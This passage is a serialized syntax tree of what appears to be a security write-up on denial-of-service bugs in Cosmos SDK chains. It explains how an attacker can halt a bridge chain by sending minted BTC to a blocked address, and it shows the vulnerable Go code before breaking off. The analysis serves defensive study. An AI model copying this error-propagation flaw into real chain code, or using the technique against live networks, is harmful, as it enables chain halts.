nil\n",{"type":23,"tag":75,"props":5969,"children":5970},{"class":77,"line":220},[5971],{"type":23,"tag":75,"props":5972,"children":5973},{"style":94},[5974],{"type":29,"value":369},{"type":23,"tag":923,"props":5976,"children":5978},{"id":5977},"real-world-examples-3",[5979],{"type":29,"value":928},{"type":23,"tag":32,"props":5981,"children":5982},{},[5983],{"type":29,"value":5984},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":32,"props":5986,"children":5987},{},[5988,5990,5996,5998,6003,6005,6011,6013,6019,6021,6027],{"type":29,"value":5989},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":71,"props":5991,"children":5993},{"className":5992},[],[5994],{"type":29,"value":5995},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":5997}," will be bubbled up through ",{"type":23,"tag":71,"props":5999,"children":6001},{"className":6000},[],[6002],{"type":29,"value":5768},{"type":29,"value":6004}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":71,"props":6006,"children":6008},{"className":6007},[],[6009],{"type":29,"value":6010},"SendCoinsFromModuleToAccount",{"type":29,"value":6012}," to return an error by setting ",{"type":23,"tag":71,"props":6014,"children":6016},{"className":6015},[],[6017],{"type":29,"value":6018},"recipient",{"type":29,"value":6020}," to some ",{"type":23,"tag":71,"props":6022,"children":6024},{"className":6023},[],[6025],{"type":29,"value":6026},"BlockedAddr",{"type":29,"value":6028},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":32,"props":6030,"children":6031},{},[6032],{"type":23,"tag":940,"props":6033,"children":6036},{"href":6034,"rel":6035},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[944],[6037],{"type":29,"value":982},{"type":23,"tag":64,"props":6039,"children":6041},{"code":6040,"language":373,"meta":7,"className":374,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[6042],{"type":23,"tag":71,"props":6043,"children":6044},{"__ignoreMap":7},[6045,6098,6113,6136,6166,6202,6210,6266,6292,6342,6349,6356,6363,6370,6377,6408,6431,6456,6471,6479,6516,6570,6593,6634,6641,6648,6699,6760,6783,6806,6818,6839,6851,6859,6866,6883,6891,6898,6905,6912,6919,6926,6957,6980,7005,7031,7046,7053,7090,7101,7122,7133,7145,7153,7176,7216,7223,7230],{"type":23,"tag":75,"props":6046,"children":6047},{"class":77,"line":78},[6048,6052,6056,6061,6065,6070,6074,6078,6082,6086,6090,6094],{"type":23,"tag":75,"props":6049,"children":6050},{"style":82},[6051],{"type":29,"value":512},{"type":23,"tag":75,"props":6053,"children":6054},{"style":94},[6055],{"type":29,"value":183},{"type":23,"tag":75,"props":6057,"children":6058},{"style":110},[6059],{"type":29,"value":6060},"pbh ",{"type":23,"tag":75,"props":6062,"children":6063},{"style":209},[6064],{"type":29,"value":601},{"type":23,"tag":75,"props":6066,"children":6067},{"style":104},[6068],{"type":29,"value":6069},"PreBlockHandler",{"type":23,"tag":75,"props":6071,"children":6072},{"style":94},[6073],{"type":29,"value":167},{"type":23,"tag":75,"props":6075,"children":6076},{"style":88},[6077],{"type":29,"value":5768},{"type":23,"tag":75,"props":6079,"children":6080},{"style":94},[6081],{"type":29,"value":2464},{"type":23,"tag":75,"props":6083,"children":6084},{"style":104},[6085],{"type":29,"value":3041},{"type":23,"tag":75,"props":6087,"children":6088},{"style":94},[6089],{"type":29,"value":557},{"type":23,"tag":75,"props":6091,"children":6092},{"style":104},[6093],{"type":29,"value":5768},{"type":23,"tag":75,"props":6095,"children":6096},{"style":94},[6097],{"type":29,"value":401},{"type":23,"tag":75,"props":6099,"children":6100},{"class":77,"line":100},[6101,6105,6109],{"type":23,"tag":75,"props":6102,"children":6103},{"style":175},[6104],{"type":29,"value":355},{"type":23,"tag":75,"props":6106,"children":6107},{"style":82},[6108],{"type":29,"value":4340},{"type":23,"tag":75,"props":6110,"children":6111},{"style":94},[6112],{"type":29,"value":97},{"type":23,"tag":75,"props":6114,"children":6115},{"class":77,"line":121},[6116,6120,6124,6128,6132],{"type":23,"tag":75,"props":6117,"children":6118},{"style":110},[6119],{"type":29,"value":1698},{"type":23,"tag":75,"props":6121,"children":6122},{"style":104},[6123],{"type":29,"value":2951},{"type":23,"tag":75,"props":6125,"children":6126},{"style":94},[6127],{"type":29,"value":557},{"type":23,"tag":75,"props":6129,"children":6130},{"style":104},[6131],{"type":29,"value":562},{"type":23,"tag":75,"props":6133,"children":6134},{"style":94},[6135],{"type":29,"value":118},{"type":23,"tag":75,"props":6137,"children":6138},{"class":77,"line":138},[6139,6144,6148,6153,6157,6162],{"type":23,"tag":75,"props":6140,"children":6141},{"style":110},[6142],{"type":29,"value":6143},"        req",{"type":23,"tag":75,"props":6145,"children":6146},{"style":209},[6147],{"type":29,"value":579},{"type":23,"tag":75,"props":6149,"children":6150},{"style":104},[6151],{"type":29,"value":6152},"cmtabci",{"type":23,"tag":75,"props":6154,"children":6155},{"style":94},[6156],{"type":29,"value":557},{"type":23,"tag":75,"props":6158,"children":6159},{"style":104},[6160],{"type":29,"value":6161},"RequestFinalizeBlock",{"type":23,"tag":75,"props":6163,"children":6164},{"style":94},[6165],{"type":29,"value":118},{"type":23,"tag":75,"props":6167,"children":6168},{"class":77,"line":161},[6169,6173,6177,6181,6185,6190,6194,6198],{"type":23,"tag":75,"props":6170,"children":6171},{"style":94},[6172],{"type":29,"value":4408},{"type":23,"tag":75,"props":6174,"children":6175},{"style":209},[6176],{"type":29,"value":601},{"type":23,"tag":75,"props":6178,"children":6179},{"style":104},[6180],{"type":29,"value":3041},{"type":23,"tag":75,"props":6182,"children":6183},{"style":94},[6184],{"type":29,"value":557},{"type":23,"tag":75,"props":6186,"children":6187},{"style":104},[6188],{"type":29,"value":6189},"ResponsePreBlock",{"type":23,"tag":75,"props":6191,"children":6192},{"style":94},[6193],{"type":29,"value":611},{"type":23,"tag":75,"props":6195,"children":6196},{"style":104},[6197],{"type":29,"value":616},{"type":23,"tag":75,"props":6199,"children":6200},{"style":94},[6201],{"type":29,"value":193},{"type":23,"tag":75,"props":6203,"children":6204},{"class":77,"line":196},[6205],{"type":23,"tag":75,"props":6206,"children":6207},{"style":209},[6208],{"type":29,"value":6209},"        ...\n",{"type":23,"tag":75,"props":6211,"children":6212},{"class":77,"line":220},[6213,6218,6222,6227,6231,6236,6240,6245,6249,6253,6257,6262],{"type":23,"tag":75,"props":6214,"children":6215},{"style":110},[6216],{"type":29,"value":6217},"        err",{"type":23,"tag":75,"props":6219,"children":6220},{"style":209},[6221],{"type":29,"value":633},{"type":23,"tag":75,"props":6223,"children":6224},{"style":110},[6225],{"type":29,"value":6226}," pbh",{"type":23,"tag":75,"props":6228,"children":6229},{"style":94},[6230],{"type":29,"value":557},{"type":23,"tag":75,"props":6232,"children":6233},{"style":110},[6234],{"type":29,"value":6235},"bridgeKeeper",{"type":23,"tag":75,"props":6237,"children":6238},{"style":94},[6239],{"type":29,"value":557},{"type":23,"tag":75,"props":6241,"children":6242},{"style":88},[6243],{"type":29,"value":6244},"AcceptAssetsLocked",{"type":23,"tag":75,"props":6246,"children":6247},{"style":94},[6248],{"type":29,"value":643},{"type":23,"tag":75,"props":6250,"children":6251},{"style":110},[6252],{"type":29,"value":3331},{"type":23,"tag":75,"props":6254,"children":6255},{"style":94},[6256],{"type":29,"value":611},{"type":23,"tag":75,"props":6258,"children":6259},{"style":110},[6260],{"type":29,"value":6261},"events",{"type":23,"tag":75,"props":6263,"children":6264},{"style":94},[6265],{"type":29,"value":653},{"type":23,"tag":75,"props":6267,"children":6268},{"class":77,"line":248},[6269,6273,6278,6283,6288],{"type":23,"tag":75,"props":6270,"children":6271},{"style":175},[6272],{"type":29,"value":2445},{"type":23,"tag":75,"props":6274,"children":6275},{"style":110},[6276],{"type":29,"value":6277}," err",{"type":23,"tag":75,"props":6279,"children":6280},{"style":209},[6281],{"type":29,"value":6282}," !=",{"type":23,"tag":75,"props":6284,"children":6285},{"style":82},[6286],{"type":29,"value":6287}," nil",{"type":23,"tag":75,"props":6289,"children":6290},{"style":94},[6291],{"type":29,"value":401},{"type":23,"tag":75,"props":6293,"children":6294},{"class":77,"line":270},[6295,6299,6303,6307,6312,6316,6321,6325,6330,6334,6338],{"type":23,"tag":75,"props":6296,"children":6297},{"style":175},[6298],{"type":29,"value":3396},{"type":23,"tag":75,"props":6300,"children":6301},{"style":82},[6302],{"type":29,"value":6287},{"type":23,"tag":75,"props":6304,"children":6305},{"style":94},[6306],{"type":29,"value":611},{"type":23,"tag":75,"props":6308,"children":6309},{"style":110},[6310],{"type":29,"value":6311},"fmt",{"type":23,"tag":75,"props":6313,"children":6314},{"style":94},[6315],{"type":29,"value":557},{"type":23,"tag":75,"props":6317,"children":6318},{"style":88},[6319],{"type":29,"value":6320},"Errorf",{"type":23,"tag":75,"props":6322,"children":6323},{"style":94},[6324],{"type":29,"value":643},{"type":23,"tag":75,"props":6326,"children":6327},{"style":1266},[6328],{"type":29,"value":6329},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":75,"props":6331,"children":6332},{"style":94},[6333],{"type":29,"value":611},{"type":23,"tag":75,"props":6335,"children":6336},{"style":110},[6337],{"type":29,"value":4434},{"type":23,"tag":75,"props":6339,"children":6340},{"style":94},[6341],{"type":29,"value":653},{"type":23,"tag":75,"props":6343,"children":6344},{"class":77,"line":279},[6345],{"type":23,"tag":75,"props":6346,"children":6347},{"style":94},[6348],{"type":29,"value":2503},{"type":23,"tag":75,"props":6350,"children":6351},{"class":77,"line":303},[6352],{"type":23,"tag":75,"props":6353,"children":6354},{"style":209},[6355],{"type":29,"value":6209},{"type":23,"tag":75,"props":6357,"children":6358},{"class":77,"line":322},[6359],{"type":23,"tag":75,"props":6360,"children":6361},{"style":94},[6362],{"type":29,"value":346},{"type":23,"tag":75,"props":6364,"children":6365},{"class":77,"line":340},[6366],{"type":23,"tag":75,"props":6367,"children":6368},{"style":94},[6369],{"type":29,"value":369},{"type":23,"tag":75,"props":6371,"children":6372},{"class":77,"line":349},[6373],{"type":23,"tag":75,"props":6374,"children":6375},{"emptyLinePlaceholder":15},[6376],{"type":29,"value":276},{"type":23,"tag":75,"props":6378,"children":6379},{"class":77,"line":363},[6380,6384,6388,6392,6396,6400,6404],{"type":23,"tag":75,"props":6381,"children":6382},{"style":82},[6383],{"type":29,"value":512},{"type":23,"tag":75,"props":6385,"children":6386},{"style":94},[6387],{"type":29,"value":183},{"type":23,"tag":75,"props":6389,"children":6390},{"style":110},[6391],{"type":29,"value":5492},{"type":23,"tag":75,"props":6393,"children":6394},{"style":104},[6395],{"type":29,"value":4276},{"type":23,"tag":75,"props":6397,"children":6398},{"style":94},[6399],{"type":29,"value":167},{"type":23,"tag":75,"props":6401,"children":6402},{"style":88},[6403],{"type":29,"value":6244},{"type":23,"tag":75,"props":6405,"children":6406},{"style":94},[6407],{"type":29,"value":97},{"type":23,"tag":75,"props":6409,"children":6410},{"class":77,"line":656},[6411,6415,6419,6423,6427],{"type":23,"tag":75,"props":6412,"children":6413},{"style":110},[6414],{"type":29,"value":2946},{"type":23,"tag":75,"props":6416,"children":6417},{"style":104},[6418],{"type":29,"value":2951},{"type":23,"tag":75,"props":6420,"children":6421},{"style":94},[6422],{"type":29,"value":557},{"type":23,"tag":75,"props":6424,"children":6425},{"style":104},[6426],{"type":29,"value":562},{"type":23,"tag":75,"props":6428,"children":6429},{"style":94},[6430],{"type":29,"value":118},{"type":23,"tag":75,"props":6432,"children":6433},{"class":77,"line":705},[6434,6439,6443,6447,6452],{"type":23,"tag":75,"props":6435,"children":6436},{"style":110},[6437],{"type":29,"value":6438},"    events",{"type":23,"tag":75,"props":6440,"children":6441},{"style":104},[6442],{"type":29,"value":2474},{"type":23,"tag":75,"props":6444,"children":6445},{"style":94},[6446],{"type":29,"value":557},{"type":23,"tag":75,"props":6448,"children":6449},{"style":104},[6450],{"type":29,"value":6451},"AssetsLockedEvents",{"type":23,"tag":75,"props":6453,"children":6454},{"style":94},[6455],{"type":29,"value":118},{"type":23,"tag":75,"props":6457,"children":6458},{"class":77,"line":787},[6459,6463,6467],{"type":23,"tag":75,"props":6460,"children":6461},{"style":94},[6462],{"type":29,"value":167},{"type":23,"tag":75,"props":6464,"children":6465},{"style":104},[6466],{"type":29,"value":616},{"type":23,"tag":75,"props":6468,"children":6469},{"style":94},[6470],{"type":29,"value":401},{"type":23,"tag":75,"props":6472,"children":6473},{"class":77,"line":826},[6474],{"type":23,"tag":75,"props":6475,"children":6476},{"style":209},[6477],{"type":29,"value":6478},"    ...\n",{"type":23,"tag":75,"props":6480,"children":6481},{"class":77,"line":834},[6482,6486,6490,6494,6499,6503,6507,6512],{"type":23,"tag":75,"props":6483,"children":6484},{"style":175},[6485],{"type":29,"value":711},{"type":23,"tag":75,"props":6487,"children":6488},{"style":110},[6489],{"type":29,"value":2062},{"type":23,"tag":75,"props":6491,"children":6492},{"style":94},[6493],{"type":29,"value":611},{"type":23,"tag":75,"props":6495,"children":6496},{"style":110},[6497],{"type":29,"value":6498},"event",{"type":23,"tag":75,"props":6500,"children":6501},{"style":209},[6502],{"type":29,"value":633},{"type":23,"tag":75,"props":6504,"children":6505},{"style":175},[6506],{"type":29,"value":1681},{"type":23,"tag":75,"props":6508,"children":6509},{"style":110},[6510],{"type":29,"value":6511}," events",{"type":23,"tag":75,"props":6513,"children":6514},{"style":94},[6515],{"type":29,"value":401},{"type":23,"tag":75,"props":6517,"children":6518},{"class":77,"line":881},[6519,6524,6528,6532,6536,6540,6544,6549,6553,6557,6561,6566],{"type":23,"tag":75,"props":6520,"children":6521},{"style":110},[6522],{"type":29,"value":6523},"        recipient",{"type":23,"tag":75,"props":6525,"children":6526},{"style":94},[6527],{"type":29,"value":611},{"type":23,"tag":75,"props":6529,"children":6530},{"style":110},[6531],{"type":29,"value":4434},{"type":23,"tag":75,"props":6533,"children":6534},{"style":209},[6535],{"type":29,"value":633},{"type":23,"tag":75,"props":6537,"children":6538},{"style":110},[6539],{"type":29,"value":2951},{"type":23,"tag":75,"props":6541,"children":6542},{"style":94},[6543],{"type":29,"value":557},{"type":23,"tag":75,"props":6545,"children":6546},{"style":88},[6547],{"type":29,"value":6548},"AccAddressFromBech32",{"type":23,"tag":75,"props":6550,"children":6551},{"style":94},[6552],{"type":29,"value":643},{"type":23,"tag":75,"props":6554,"children":6555},{"style":110},[6556],{"type":29,"value":6498},{"type":23,"tag":75,"props":6558,"children":6559},{"style":94},[6560],{"type":29,"value":557},{"type":23,"tag":75,"props":6562,"children":6563},{"style":110},[6564],{"type":29,"value":6565},"Recipient",{"type":23,"tag":75,"props":6567,"children":6568},{"style":94},[6569],{"type":29,"value":653},{"type":23,"tag":75,"props":6571,"children":6572},{"class":77,"line":3355},[6573,6577,6581,6585,6589],{"type":23,"tag":75,"props":6574,"children":6575},{"style":175},[6576],{"type":29,"value":2445},{"type":23,"tag":75,"props":6578,"children":6579},{"style":110},[6580],{"type":29,"value":6277},{"type":23,"tag":75,"props":6582,"children":6583},{"style":209},[6584],{"type":29,"value":6282},{"type":23,"tag":75,"props":6586,"children":6587},{"style":82},[6588],{"type":29,"value":6287},{"type":23,"tag":75,"props":6590,"children":6591},{"style":94},[6592],{"type":29,"value":401},{"type":23,"tag":75,"props":6594,"children":6595},{"class":77,"line":3390},[6596,6600,6605,6609,6613,6617,6622,6626,6630],{"type":23,"tag":75,"props":6597,"children":6598},{"style":175},[6599],{"type":29,"value":3396},{"type":23,"tag":75,"props":6601,"children":6602},{"style":110},[6603],{"type":29,"value":6604}," fmt",{"type":23,"tag":75,"props":6606,"children":6607},{"style":94},[6608],{"type":29,"value":557},{"type":23,"tag":75,"props":6610,"children":6611},{"style":88},[6612],{"type":29,"value":6320},{"type":23,"tag":75,"props":6614,"children":6615},{"style":94},[6616],{"type":29,"value":643},{"type":23,"tag":75,"props":6618,"children":6619},{"style":1266},[6620],{"type":29,"value":6621},"\"failed to parse recipient address: %w\"",{"type":23,"tag":75,"props":6623,"children":6624},{"style":94},[6625],{"type":29,"value":611},{"type":23,"tag":75,"props":6627,"children":6628},{"style":110},[6629],{"type":29,"value":4434},{"type":23,"tag":75,"props":6631,"children":6632},{"style":94},[6633],{"type":29,"value":653},{"type":23,"tag":75,"props":6635,"children":6636},{"class":77,"line":3423},[6637],{"type":23,"tag":75,"props":6638,"children":6639},{"style":94},[6640],{"type":29,"value":2503},{"type":23,"tag":75,"props":6642,"children":6643},{"class":77,"line":3436},[6644],{"type":23,"tag":75,"props":6645,"children":6646},{"emptyLinePlaceholder":15},[6647],{"type":29,"value":276},{"type":23,"tag":75,"props":6649,"children":6650},{"class":77,"line":3449},[6651,6655,6660,6664,6669,6673,6677,6681,6686,6690,6695],{"type":23,"tag":75,"props":6652,"children":6653},{"style":175},[6654],{"type":29,"value":2445},{"type":23,"tag":75,"props":6656,"children":6657},{"style":110},[6658],{"type":29,"value":6659}," bytes",{"type":23,"tag":75,"props":6661,"children":6662},{"style":94},[6663],{"type":29,"value":557},{"type":23,"tag":75,"props":6665,"children":6666},{"style":88},[6667],{"type":29,"value":6668},"Equal",{"type":23,"tag":75,"props":6670,"children":6671},{"style":94},[6672],{"type":29,"value":643},{"type":23,"tag":75,"props":6674,"children":6675},{"style":110},[6676],{"type":29,"value":6498},{"type":23,"tag":75,"props":6678,"children":6679},{"style":94},[6680],{"type":29,"value":557},{"type":23,"tag":75,"props":6682,"children":6683},{"style":88},[6684],{"type":29,"value":6685},"TokenBytes",{"type":23,"tag":75,"props":6687,"children":6688},{"style":94},[6689],{"type":29,"value":1471},{"type":23,"tag":75,"props":6691,"children":6692},{"style":110},[6693],{"type":29,"value":6694},"sourceBTCToken",{"type":23,"tag":75,"props":6696,"children":6697},{"style":94},[6698],{"type":29,"value":193},{"type":23,"tag":75,"props":6700,"children":6701},{"class":77,"line":3457},[6702,6707,6711,6715,6719,6724,6728,6732,6736,6740,6744,6748,6752,6756],{"type":23,"tag":75,"props":6703,"children":6704},{"style":110},[6705],{"type":29,"value":6706},"            err",{"type":23,"tag":75,"props":6708,"children":6709},{"style":209},[6710],{"type":29,"value":1193},{"type":23,"tag":75,"props":6712,"children":6713},{"style":110},[6714],{"type":29,"value":5620},{"type":23,"tag":75,"props":6716,"children":6717},{"style":94},[6718],{"type":29,"value":557},{"type":23,"tag":75,"props":6720,"children":6721},{"style":88},[6722],{"type":29,"value":6723},"mintBTC",{"type":23,"tag":75,"props":6725,"children":6726},{"style":94},[6727],{"type":29,"value":643},{"type":23,"tag":75,"props":6729,"children":6730},{"style":110},[6731],{"type":29,"value":3331},{"type":23,"tag":75,"props":6733,"children":6734},{"style":94},[6735],{"type":29,"value":611},{"type":23,"tag":75,"props":6737,"children":6738},{"style":110},[6739],{"type":29,"value":6018},{"type":23,"tag":75,"props":6741,"children":6742},{"style":94},[6743],{"type":29,"value":611},{"type":23,"tag":75,"props":6745,"children":6746},{"style":110},[6747],{"type":29,"value":6498},{"type":23,"tag":75,"props":6749,"children":6750},{"style":94},[6751],{"type":29,"value":557},{"type":23,"tag":75,"props":6753,"children":6754},{"style":110},[6755],{"type":29,"value":3374},{"type":23,"tag":75,"props":6757,"children":6758},{"style":94},[6759],{"type":29,"value":653},{"type":23,"tag":75,"props":6761,"children":6762},{"class":77,"line":3465},[6763,6767,6771,6775,6779],{"type":23,"tag":75,"props":6764,"children":6765},{"style":175},[6766],{"type":29,"value":4629},{"type":23,"tag":75,"props":6768,"children":6769},{"style":110},[6770],{"type":29,"value":6277},{"type":23,"tag":75,"props":6772,"children":6773},{"style":209},[6774],{"type":29,"value":6282},{"type":23,"tag":75,"props":6776,"children":6777},{"style":82},[6778],{"type":29,"value":6287},{"type":23,"tag":75,"props":6780,"children":6781},{"style":94},[6782],{"type":29,"value":401},{"type":23,"tag":75,"props":6784,"children":6785},{"class":77,"line":3473},[6786,6790,6794,6798,6802],{"type":23,"tag":75,"props":6787,"children":6788},{"style":175},[6789],{"type":29,"value":4981},{"type":23,"tag":75,"props":6791,"children":6792},{"style":110},[6793],{"type":29,"value":6604},{"type":23,"tag":75,"props":6795,"children":6796},{"style":94},[6797],{"type":29,"value":557},{"type":23,"tag":75,"props":6799,"children":6800},{"style":88},[6801],{"type":29,"value":6320},{"type":23,"tag":75,"props":6803,"children":6804},{"style":94},[6805],{"type":29,"value":97},{"type":23,"tag":75,"props":6807,"children":6808},{"class":77,"line":3481},[6809,6814],{"type":23,"tag":75,"props":6810,"children":6811},{"style":1266},[6812],{"type":29,"value":6813},"                    \"failed to mint BTC for event %v: %w\"",{"type":23,"tag":75,"props":6815,"children":6816},{"style":94},[6817],{"type":29,"value":118},{"type":23,"tag":75,"props":6819,"children":6820},{"class":77,"line":3524},[6821,6826,6830,6835],{"type":23,"tag":75,"props":6822,"children":6823},{"style":110},[6824],{"type":29,"value":6825},"                    event",{"type":23,"tag":75,"props":6827,"children":6828},{"style":94},[6829],{"type":29,"value":557},{"type":23,"tag":75,"props":6831,"children":6832},{"style":110},[6833],{"type":29,"value":6834},"Sequence",{"type":23,"tag":75,"props":6836,"children":6837},{"style":94},[6838],{"type":29,"value":118},{"type":23,"tag":75,"props":6840,"children":6841},{"class":77,"line":4890},[6842,6847],{"type":23,"tag":75,"props":6843,"children":6844},{"style":110},[6845],{"type":29,"value":6846},"                    err",{"type":23,"tag":75,"props":6848,"children":6849},{"style":94},[6850],{"type":29,"value":118},{"type":23,"tag":75,"props":6852,"children":6853},{"class":77,"line":4937},[6854],{"type":23,"tag":75,"props":6855,"children":6856},{"style":94},[6857],{"type":29,"value":6858},"                )\n",{"type":23,"tag":75,"props":6860,"children":6861},{"class":77,"line":4950},[6862],{"type":23,"tag":75,"props":6863,"children":6864},{"style":94},[6865],{"type":29,"value":5022},{"type":23,"tag":75,"props":6867,"children":6868},{"class":77,"line":4958},[6869,6874,6879],{"type":23,"tag":75,"props":6870,"children":6871},{"style":94},[6872],{"type":29,"value":6873},"        } ",{"type":23,"tag":75,"props":6875,"children":6876},{"style":175},[6877],{"type":29,"value":6878},"else",{"type":23,"tag":75,"props":6880,"children":6881},{"style":94},[6882],{"type":29,"value":401},{"type":23,"tag":75,"props":6884,"children":6885},{"class":77,"line":4967},[6886],{"type":23,"tag":75,"props":6887,"children":6888},{"style":209},[6889],{"type":29,"value":6890},"            ...\n",{"type":23,"tag":75,"props":6892,"children":6893},{"class":77,"line":4975},[6894],{"type":23,"tag":75,"props":6895,"children":6896},{"style":94},[6897],{"type":29,"value":2503},{"type":23,"tag":75,"props":6899,"children":6900},{"class":77,"line":5016},[6901],{"type":23,"tag":75,"props":6902,"children":6903},{"style":94},[6904],{"type":29,"value":346},{"type":23,"tag":75,"props":6906,"children":6907},{"class":77,"line":5025},[6908],{"type":23,"tag":75,"props":6909,"children":6910},{"style":209},[6911],{"type":29,"value":6478},{"type":23,"tag":75,"props":6913,"children":6914},{"class":77,"line":5033},[6915],{"type":23,"tag":75,"props":6916,"children":6917},{"style":94},[6918],{"type":29,"value":369},{"type":23,"tag":75,"props":6920,"children":6921},{"class":77,"line":5041},[6922],{"type":23,"tag":75,"props":6923,"children":6924},{"emptyLinePlaceholder":15},[6925],{"type":29,"value":276},{"type":23,"tag":75,"props":6927,"children":6928},{"class":77,"line":5050},[6929,6933,6937,6941,6945,6949,6953],{"type":23,"tag":75,"props":6930,"children":6931},{"style":82},[6932],{"type":29,"value":512},{"type":23,"tag":75,"props":6934,"children":6935},{"style":94},[6936],{"type":29,"value":183},{"type":23,"tag":75,"props":6938,"children":6939},{"style":110},[6940],{"type":29,"value":5492},{"type":23,"tag":75,"props":6942,"children":6943},{"style":104},[6944],{"type":29,"value":4276},{"type":23,"tag":75,"props":6946,"children":6947},{"style":94},[6948],{"type":29,"value":167},{"type":23,"tag":75,"props":6950,"children":6951},{"style":88},[6952],{"type":29,"value":6723},{"type":23,"tag":75,"props":6954,"children":6955},{"style":94},[6956],{"type":29,"value":97},{"type":23,"tag":75,"props":6958,"children":6959},{"class":77,"line":5058},[6960,6964,6968,6972,6976],{"type":23,"tag":75,"props":6961,"children":6962},{"style":110},[6963],{"type":29,"value":2946},{"type":23,"tag":75,"props":6965,"children":6966},{"style":104},[6967],{"type":29,"value":2951},{"type":23,"tag":75,"props":6969,"children":6970},{"style":94},[6971],{"type":29,"value":557},{"type":23,"tag":75,"props":6973,"children":6974},{"style":104},[6975],{"type":29,"value":562},{"type":23,"tag":75,"props":6977,"children":6978},{"style":94},[6979],{"type":29,"value":118},{"type":23,"tag":75,"props":6981,"children":6982},{"class":77,"line":5083},[6983,6988,6992,6996,7001],{"type":23,"tag":75,"props":6984,"children":6985},{"style":110},[6986],{"type":29,"value":6987},"    recipient",{"type":23,"tag":75,"props":6989,"children":6990},{"style":104},[6991],{"type":29,"value":2951},{"type":23,"tag":75,"props":6993,"children":6994},{"style":94},[6995],{"type":29,"value":557},{"type":23,"tag":75,"props":6997,"children":6998},{"style":104},[6999],{"type":29,"value":7000},"AccAddress",{"type":23,"tag":75,"props":7002,"children":7003},{"style":94},[7004],{"type":29,"value":118},{"type":23,"tag":75,"props":7006,"children":7007},{"class":77,"line":5108},[7008,7013,7018,7022,7027],{"type":23,"tag":75,"props":7009,"children":7010},{"style":110},[7011],{"type":29,"value":7012},"    amount",{"type":23,"tag":75,"props":7014,"children":7015},{"style":104},[7016],{"type":29,"value":7017}," math",{"type":23,"tag":75,"props":7019,"children":7020},{"style":94},[7021],{"type":29,"value":557},{"type":23,"tag":75,"props":7023,"children":7024},{"style":104},[7025],{"type":29,"value":7026},"Int",{"type":23,"tag":75,"props":7028,"children":7029},{"style":94},[7030],{"type":29,"value":118},{"type":23,"tag":75,"props":7032,"children":7033},{"class":77,"line":5137},[7034,7038,7042],{"type":23,"tag":75,"props":7035,"children":7036},{"style":94},[7037],{"type":29,"value":167},{"type":23,"tag":75,"props":7039,"children":7040},{"style":104},[7041],{"type":29,"value":616},{"type":23,"tag":75,"props":7043,"children":7044},{"style":94},[7045],{"type":29,"value":401},{"type":23,"tag":75,"props":7047,"children":7048},{"class":77,"line":5163},[7049],{"type":23,"tag":75,"props":7050,"children":7051},{"style":209},[7052],{"type":29,"value":6478},{"type":23,"tag":75,"props":7054,"children":7055},{"class":77,"line":5172},[7056,7061,7065,7069,7073,7078,7082,7086],{"type":23,"tag":75,"props":7057,"children":7058},{"style":110},[7059],{"type":29,"value":7060},"    err",{"type":23,"tag":75,"props":7062,"children":7063},{"style":209},[7064],{"type":29,"value":1193},{"type":23,"tag":75,"props":7066,"children":7067},{"style":110},[7068],{"type":29,"value":5620},{"type":23,"tag":75,"props":7070,"children":7071},{"style":94},[7072],{"type":29,"value":557},{"type":23,"tag":75,"props":7074,"children":7075},{"style":110},[7076],{"type":29,"value":7077},"bankKeeper",{"type":23,"tag":75,"props":7079,"children":7080},{"style":94},[7081],{"type":29,"value":557},{"type":23,"tag":75,"props":7083,"children":7084},{"style":88},[7085],{"type":29,"value":6010},{"type":23,"tag":75,"props":7087,"children":7088},{"style":94},[7089],{"type":29,"value":97},{"type":23,"tag":75,"props":7091,"children":7092},{"class":77,"line":5206},[7093,7097],{"type":23,"tag":75,"props":7094,"children":7095},{"style":110},[7096],{"type":29,"value":1698},{"type":23,"tag":75,"props":7098,"children":7099},{"style":94},[7100],{"type":29,"value":118},{"type":23,"tag":75,"props":7102,"children":7103},{"class":77,"line":5214},[7104,7109,7113,7118],{"type":23,"tag":75,"props":7105,"children":7106},{"style":110},[7107],{"type":29,"value":7108},"        